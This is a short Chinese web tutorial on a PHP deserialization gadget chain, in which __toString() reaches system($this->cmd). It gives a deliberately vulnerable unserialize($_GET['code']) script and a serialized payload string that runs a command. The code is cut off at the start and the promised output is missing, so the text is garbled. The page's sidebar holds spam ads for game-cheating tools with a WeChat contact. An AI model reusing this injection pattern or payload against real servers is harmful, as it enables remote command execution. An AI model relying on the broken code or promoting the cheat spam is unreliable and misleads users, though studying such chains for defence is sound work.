【web】-反序列化-to_string
创始人
2024-12-28 06:04:56
0次 
s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候，自动执行

起点："hello".$this->s;

终点：system($this->cmd);

跳板："hello".$this->s;

s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下：

上一篇：EasyAnimate-v3版本支持I2V及超长视频生成

下一篇：STM32全栈嵌入式人脸识别考勤系统：融合OpenCV、Qt和SQLite的解决方案

相关内容

热门资讯

今日焦点！新九方辅助，樱花之盛... 您好：樱花之盛辅助软件下载这款游戏可以开挂的，确实是有挂的，很多玩家在这款游戏中打牌都会发现很多用户...
实测教程！九游破解辅助插件官方... 实测教程！九游破解辅助插件官方，新荣耀辅助软件，安装教程（有挂秘笈）是一款可以让一直输的玩家，快速成...
科技通报！神兽h5平台反杀，道... 科技通报！神兽h5平台反杀，道游互娱透视辅助截图，玩家教你（了解有挂）；1、科技通报！神兽h5平台反...
科技通报！新道游辅助器免费版，... 科技通报！新道游辅助器免费版，随意玩app下载开挂辅助，黑科技教程（果真有挂）是一款可以让一直输的玩...
玩家科普！人海大厅挂件怎么买，... 您好，人海大厅挂件怎么买这款游戏可以开挂的，确实是有挂的，需要了解加微【136704302】很多玩家...
教程辅助！青龙辅助3.0，道游... 您好，道游互娱辅助这款游戏可以开挂的，确实是有挂的，需要了解加微【136704302】很多玩家在这款...
我来教大家！财神13章脚本安全... 您好，财神13章脚本安全吗这款游戏可以开挂的，确实是有挂的，需要了解加微【136704302】很多玩...
技巧知识分享！新西部辅助是什么... 技巧知识分享！新西部辅助是什么意思，微信财神十三张脚本，透视教程（有挂透视）是一款可以让一直输的玩家...
科普攻略！三哥玩摆头注可以控制... 科普攻略！三哥玩摆头注可以控制，新九哥辅助开挂，科技教程（有挂分享）是一款可以让一直输的玩家，快速成...
我来教教大家！九酷众游辅助，新... 我来教教大家！九酷众游辅助，新星游辅助真的假的，2025新版教程（有挂解密）是一款可以让一直输的玩家...